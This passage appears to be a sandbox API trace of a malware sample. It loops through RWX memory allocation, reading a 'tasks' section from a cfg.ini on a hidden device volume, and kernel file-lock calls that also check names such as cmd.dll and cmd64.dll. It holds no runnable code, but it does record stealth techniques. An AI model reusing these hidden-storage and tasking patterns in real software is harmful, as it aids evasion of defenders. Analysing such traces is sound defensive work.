SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.042] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.042] IdePortDispatch () returned 0x103 [0124.042] KeWaitForMutexObject () returned 0x0 [0124.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.042] KeLeaveCriticalRegion () [0124.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.042] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.042] KeEnterCriticalRegion () [0124.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cf000 [0124.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.042] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.042] IdePortDispatch () returned 0x103 [0124.042] KeWaitForMutexObject () returned 0x0 [0124.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.043] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.043] IdePortDispatch () returned 0x103 [0124.043] KeWaitForMutexObject () returned 0x0 [0124.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.043] KeLeaveCriticalRegion () [0124.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.044] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.044] KeEnterCriticalRegion () [0124.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.044] KeLeaveCriticalRegion () [0124.044] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.044] KeEnterCriticalRegion () [0124.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.044] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.044] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.044] KeLeaveCriticalRegion () [0124.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.044] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.044] KeEnterCriticalRegion () [0124.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.044] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.044] KeLeaveCriticalRegion () [0124.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.044] ReleaseMutex (hMutex=0xf0) returned 1 [0124.044] Sleep (dwMilliseconds=0x927c0) [0124.062] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.062] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.062] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.062] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.062] KeEnterCriticalRegion () [0124.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.062] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.062] IdePortDispatch () returned 0x103 [0124.063] KeWaitForMutexObject () returned 0x0 [0124.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.063] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.063] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.063] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.063] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.063] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed240 [0124.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.063] KeLeaveCriticalRegion () [0124.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.063] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.063] KeEnterCriticalRegion () [0124.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.063] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.063] KeLeaveCriticalRegion () [0124.063] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.063] KeEnterCriticalRegion () [0124.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.063] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.063] IdePortDispatch () returned 0x103 [0124.063] KeWaitForMutexObject () returned 0x0 [0124.064] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.064] KeLeaveCriticalRegion () [0124.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.065] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.065] KeEnterCriticalRegion () [0124.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.065] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d4000 [0124.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.065] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.065] IdePortDispatch () returned 0x103 [0124.065] KeWaitForMutexObject () returned 0x0 [0124.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.065] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.065] IdePortDispatch () returned 0x103 [0124.065] KeWaitForMutexObject () returned 0x0 [0124.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.065] KeLeaveCriticalRegion () [0124.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.066] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.066] KeEnterCriticalRegion () [0124.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.066] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.066] KeLeaveCriticalRegion () [0124.066] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.066] KeEnterCriticalRegion () [0124.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.066] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.066] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.066] KeLeaveCriticalRegion () [0124.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.066] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.066] KeEnterCriticalRegion () [0124.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.066] ExFreePoolWithTag (P=0xfffffa8003bed240, Tag=0x0) [0124.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.066] KeLeaveCriticalRegion () [0124.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.067] ReleaseMutex (hMutex=0xf0) returned 1 [0124.067] Sleep (dwMilliseconds=0x927c0) [0124.085] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.085] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.085] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.085] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.085] KeEnterCriticalRegion () [0124.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.085] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.085] IdePortDispatch () returned 0x103 [0124.085] KeWaitForMutexObject () returned 0x0 [0124.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.085] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.085] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.085] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.085] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.085] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.086] KeLeaveCriticalRegion () [0124.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.086] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.086] KeEnterCriticalRegion () [0124.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.086] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.086] KeLeaveCriticalRegion () [0124.086] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.086] KeEnterCriticalRegion () [0124.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.086] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.086] IdePortDispatch () returned 0x103 [0124.086] KeWaitForMutexObject () returned 0x0 [0124.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.086] KeLeaveCriticalRegion () [0124.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.086] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.086] KeEnterCriticalRegion () [0124.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d9000 [0124.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.087] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.087] IdePortDispatch () returned 0x103 [0124.087] KeWaitForMutexObject () returned 0x0 [0124.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.087] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.087] IdePortDispatch () returned 0x103 [0124.087] KeWaitForMutexObject () returned 0x0 [0124.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.087] KeLeaveCriticalRegion () [0124.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.088] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.088] KeEnterCriticalRegion () [0124.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.088] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.088] KeLeaveCriticalRegion () [0124.088] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.088] KeEnterCriticalRegion () [0124.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.088] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.088] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.088] KeLeaveCriticalRegion () [0124.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.088] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.088] KeEnterCriticalRegion () [0124.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.088] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.088] KeLeaveCriticalRegion () [0124.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.088] ReleaseMutex (hMutex=0xf0) returned 1 [0124.089] Sleep (dwMilliseconds=0x927c0) [0124.106] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.106] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.106] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.106] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.106] KeEnterCriticalRegion () [0124.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.106] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.106] IdePortDispatch () returned 0x103 [0124.106] KeWaitForMutexObject () returned 0x0 [0124.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.106] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.106] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.106] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.106] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.106] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befaa0 [0124.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.106] KeLeaveCriticalRegion () [0124.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.106] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.107] KeEnterCriticalRegion () [0124.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.107] KeLeaveCriticalRegion () [0124.107] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.107] KeEnterCriticalRegion () [0124.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.107] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.107] IdePortDispatch () returned 0x103 [0124.107] KeWaitForMutexObject () returned 0x0 [0124.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.107] KeLeaveCriticalRegion () [0124.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.107] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.107] KeEnterCriticalRegion () [0124.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034de000 [0124.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.107] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.107] IdePortDispatch () returned 0x103 [0124.107] KeWaitForMutexObject () returned 0x0 [0124.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 